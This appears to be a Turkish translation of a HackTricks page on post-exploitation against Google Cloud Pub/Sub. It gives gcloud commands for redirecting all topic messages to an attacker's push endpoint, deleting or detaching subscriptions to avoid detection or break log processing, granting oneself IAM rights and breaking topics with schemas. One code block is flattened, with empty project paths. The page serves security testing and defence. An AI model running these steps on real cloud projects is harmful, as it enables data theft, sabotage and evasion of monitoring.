GCP - Pub/Sub Post Exploitation

AWS hacklemeyi sıfırdan ileri seviyeye öğrenin htARTE (HackTricks AWS Red Team Expert) ile!

HackTricks'i desteklemenin diğer yolları:

Pub/Sub

Pub/Sub hakkında daha fazla bilgi için aşağıdaki sayfaya bakın:

GCP - Pub/Sub Enum

pubsub.topics.publish

Bir konuda bir mesaj yayınlamak, beklenmeyen veri göndermek ve beklenmeyen işlevleri tetiklemek veya zafiyetleri sömürmek için kullanışlıdır:

# Publish a message in a topic
gcloud pubsub topics publish <topic_name> --message "Hello!"

pubsub.topics.detachSubscription

Algılanmayı önlemek için bir abonelikten mesaj alınmasını engellemek için kullanışlıdır.

gcloud pubsub topics detach-subscription <FULL SUBSCRIPTION NAME>

pubsub.topics.delete

Bir aboneliğin mesaj almasını engellemek için kullanışlı olabilir, belki tespit edilmekten kaçınmak için. Bir konuya bağlı abonelikler olsa bile bir konuyu silmek mümkündür.

gcloud pubsub topics delete <TOPIC NAME>

pubsub.topics.update

Bu izni kullanarak, --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key gibi konu ayarlarını güncellemek için kullanabilirsiniz.

pubsub.topics.setIamPolicy

Kendinize önceki saldırılardan herhangi birini gerçekleştirme izni verin.

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Bir web sunucusundaki tüm mesajları alın:

# Crete push subscription and recieve all the messages instantly in your web server
gcloud pubsub subscriptions create <subscription name> --topic <topic name> --push-endpoint https://<URL to push to>

Bir abonelik oluşturun ve bunu kullanarak mesajları çekin:

# This will retrive a non ACKed message (and won't ACK it)
gcloud pubsub subscriptions create <subscription name> --topic <topic_name>

# You also need pubsub.subscriptions.consume for this
gcloud pubsub subscriptions pull <FULL SUBSCRIPTION NAME>
## This command will wait for a message to be posted

pubsub.subscriptions.delete

Bir aboneliği silmek, bir günlük işleme sistemi veya benzer bir şeyi bozmak için kullanışlı olabilir:

gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Bu izni kullanarak mesajların erişebileceğiniz bir yere (URL, Big Query tablosu, Bucket) depolanmasını veya sadece bozulmasını sağlayacak bazı ayarları güncelleyebilirsiniz.

gcloud pubsub subscriptions update --push-endpoint <your URL> <subscription-name>

pubsub.subscriptions.setIamPolicy

Önceki yorumlanmış saldırıları gerçekleştirmek için gerekli izinleri kendinize verin.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Bir şemayı bir konuya saldırın, böylece mesajlar onu karşılamaz ve dolayısıyla konu bozulur. Eğer şemalar yoksa, bir tane oluşturmanız gerekebilir.

schema.json
{
"namespace": "com.example",
"type": "record",
"name": "Person",
"fields": [
{
"name": "name",
"type": "string"
},
{
"name": "age",
"type": "int"
}
]
}

```bash # Attach new schema gcloud pubsub topics update projects//topics/ \ --schema=projects//schemas/ \ --message-encoding=json ``` ### `pubsub.schemas.delete`

Bu, bir şemanın silinmesine benziyor, böylece şemayı karşılamayan mesajlar gönderebileceksiniz. Ancak, şema silindiğinden dolayı hiçbir mesaj aslında konunun içine girmeyecek. Bu yüzden bu FAYDASIZ'dır:

gcloud pubsub schemas delete <SCHEMA NAME>

pubsub.schemas.setIamPolicy

Kendinize önceki yorumlanmış saldırıları gerçekleştirmek için gerekli izinleri verin.

pubsub.snapshots.create, pubsub.snapshots.seek

Bu, tüm onaylanmamış mesajların bir anlık görüntüsünü oluşturacak ve bunları aboneliğe geri koyacaktır. Saldırganlar için pek faydalı değil ama işte:

gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \
--subscription=YOUR_SUBSCRIPTION_NAME
gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \
--snapshot=YOUR_SNAPSHOT_NAME
Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated